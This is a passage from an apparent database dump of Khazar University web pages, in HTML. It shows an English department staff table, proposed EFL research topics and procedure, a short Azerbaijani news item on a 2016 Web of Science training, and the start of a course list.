style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Adila Aliyeva</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Diana Gayibkhanova</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Milana Abbasova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:58.35pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Shahriyar Mammadov</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">4</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Ilaha Khanaliyeva</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Nubar Agalarova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Sevil Huseynova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Arzu Mikayilzadeh</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Lala Gamidova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Jeyhun Kerimov</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">5</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Irina Orujova</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Leyla Rehimova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Khayala Panahova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Nahide Guliyeva</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Leyla Salayeva</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:27.55pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Minara Farzaliyeva</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">6</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Aytan Mammadova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Zulfiyya Ibrahimova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Elmira Aliyeva</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Zamira Gurbanova</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Narmina Fataliyeva</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">7</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Adila Abdullayeva</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Lala Aliyeva</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">8</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Khanim Ahmadova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:29.15pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:10.3%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"10%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">9</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:14.44%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"14%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Pervin Kerimova</p>\r\n  </td>\r\n  <td style=\"\" width:16.5%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"16%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:13.4%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"13%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:15.46%;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:34.7pt\"\"=\"\" width=\"15%\">\r\n  <p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n  <br><br><p style=\"text-align:justify\">The priority of the research field is&nbsp;‘the investigation of the ways of \r\nimprovement of teaching English language at Khazar University the result\r\n of which can be&nbsp;published accordingly. In&nbsp;this&nbsp;regard, the following \r\ntopics were suggested to&nbsp;be taken&nbsp;into consideration.&nbsp; \r\n</p><p style=\"text-align:justify\"><br></p><br><table width:704.65pt;border-collapse:collapse;border:none;padding:0in=\"\" 0in=\"\" 0in;border-width:1px;border-style:solid\"=\"\" width=\"1019\" height=\"416\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">Literature</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-left:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Art and/of Language;&nbsp;</em></strong><em>A Study of the Use of Operatic Performances in the\r\n  Enhancement of Speaking Skill in EFL Students</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-top:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:61.3pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">Teaching&nbsp;1</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:61.3pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Acquisition in Isolation?&nbsp;</em></strong><em>An Investigation of the Impact of ‘Total Segregation or\r\n  Partial Integration’ of Adult Azerbaijani Foreign Language Learners with\r\n  their Seniors</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-top:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">Teaching&nbsp;2</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:59.65pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Towards ‘the Nous’ of the Language:&nbsp;</em></strong><em>A Study of the Impact of the Frequent\r\n  Assessment on</em> <em>the Acquisition of\r\n  ‘the Nous’ of the Language by EFL&nbsp;Student</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-top:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:61.3pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">Teaching&nbsp;3</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:61.3pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Teaching the Invisible Skill:</em></strong><em>&nbsp;A Survey of the Ways and Importance of\r\n  Teaching Collocation to Adult Azeri EFL Students</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-top:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">Linguistics</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" mso-margin-top-alt:auto;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Abolishing Impoliteness;</em></strong><em>&nbsp;</em><em>A\r\n  Study of the Importance of Teaching&nbsp;Politeness&nbsp;Strategies&nbsp;to\r\n  EFL Students</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:175.95pt;border:solid=\"\" windowtext=\"\" 1.0pt;border-top:none;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:59.65pt\"\"=\"\" width=\"235\">\r\n  <p style=\"\" mso-margin-top-alt:auto;text-align:center;line-height:normal\";margin-bottom:auto\"=\"\">ESP</p>\r\n  </td>\r\n  <td style=\"\" width:528.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 0in=\"\" 0in;height:59.65pt\"\"=\"\" width=\"705\">\r\n  <p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><em>Language NOT for Language Sake:</em></strong><em>&nbsp;</em><em>An\r\n  Investigation of the Right Level of Teaching Technical Words to EFL Students</em></p>\r\n  </td>\r\n </tr>\r\n</tbody></table>&nbsp;&nbsp;&nbsp; <br>\r\n<p style=\"text-align:left\"><strong></strong></p><p><strong><br></strong></p><p><strong>Procedure</strong></p><br><ol><li><p>The approval of the Topic</p></li><li><p>One paper for each on the topic</p></li><li><p>Gradual Composition of Literature review</p></li><li><p>Methodology</p></li><li><p>Data Collection</p></li><li><p>Results</p></li><li><p>Discussion</p></li><li><p>Conclusion</p></li><li><p>Limitation of the research</p></li><li><p>Suggestion\r\nfor further researches&nbsp;</p></li></ol><br>  <p style=\"text-align:justify\">The academic staff of the Department is currently working on compiling new books for Reading and Writing courses. These books are determined to meet the high standards of European universities and widen the students’ world outlook. The staff working on the books is charged with performing detailed research of various curricular and supplementary materials.&nbsp;</p>\r\n<p style=\"text-align:justify\">This year the Department has implemented a new system of teaching basic subjects such as Reading 1 and Writing 1 as intensive courses. For this purpose the instructors of the department have done research projects on various fields, as well as choosing textbooks and appropriate materials for the particular field of study.&nbsp;</p>'),(1934,1185,'az','“Xəzər”də Web of Science təlimi keçirildi','2016-cı il iyunun 7-də Xəzər Universitetində Magistratura, doktorantura və elmi işlər şöbəsinin təşkilatçılığı və Thomson Reuters-in Qazaxstan üzrə nümayəndəsi Darya Bukhtoyarova və Azərbaycan üzrə nümayəndəsi Aygün Babazadənin iştirakı ilə Web of Science təlimi keçirildi.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il iyunun 7-də Xəzər\r\nUniversitetində Magistratura, doktorantura və elmi işlər şöbəsinin təşkilatçılığı\r\nvə <strong><em>Thomson Reuters</em></strong>-in Qazaxstan üzrə nümayəndəsi Darya\r\nBukhtoyarova və Azərbaycan üzrə nümayəndəsi Aygün Babazadənin iştirakı ilə <strong><em>Web\r\nof Science</em></strong> təlimi keçirildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><strong><em>Thomson Reuters</em></strong>\r\nnümayəndələri təqdimatla çıxış edərək, <strong><em>Web of Science</em></strong>-in əsas\r\nkolleksiyası, <strong><em>Thomson Reuters</em></strong> jurnalları üçün əsas seçim\r\nmeyarları və <strong><em>Web of Science</em></strong>-lə bağlı digər maraqlı məsələlər barədə\r\niştirakçılara məlumat verdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Təlimin sonunda nümayəndələr\r\niştirakçıların suallarını cavablandırdılar.</p>'),(919,603,'en','Offered Courses','','<h3><strong style=\"color: rgb(0, 51, 153); font-size: x-large;\" =\"\"=\"\">Courses Offered by\r\nEnglish Language and Literature Department</strong></h3><p style=\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\" \"=\"\"><strong>&nbsp;</strong></p><strong style=\"color:#003399\">\r\n<div style=\"text-align:center\">\r\n<table width=\"674\" height=\"1479\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr id=\"zebra\">\r\n  <td width=\"121\">\r\n  <p style=\"text-align: center;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>CODE</strong></p></td>\r\n  <td width=\"331\">\r\n  <p style=\"text-align: center;\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>COURSES</strong><strong></strong></p>\r\n  </td>\r\n  <td width=\"187\">\r\n  <p style=\"text-align: center;\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><strong>CREDITS</strong><strong></strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>EDU 410</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.6pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>Internship</em></p>\r\n  </td>\r\n  <td style=\"text-align: center;\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:16.6pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"text-align: left;\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><em>6</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  101</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>English Foundations 1</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  102</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>English Foundations 2</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:22.0pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>ENGL\r\n  103</em></p>\r\n  </td>\r\n  <td style=\"\" width:248.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"331\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>Academic English</em></p>\r\n  </td>\r\n  <td style=\"\" width:140.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"187\">\r\n  <p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:-1.5pt;text-align:center;line-height:normal;background:white\"\"=\"\"><em>8</em></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"121\">\r\n  <p style=\"\" 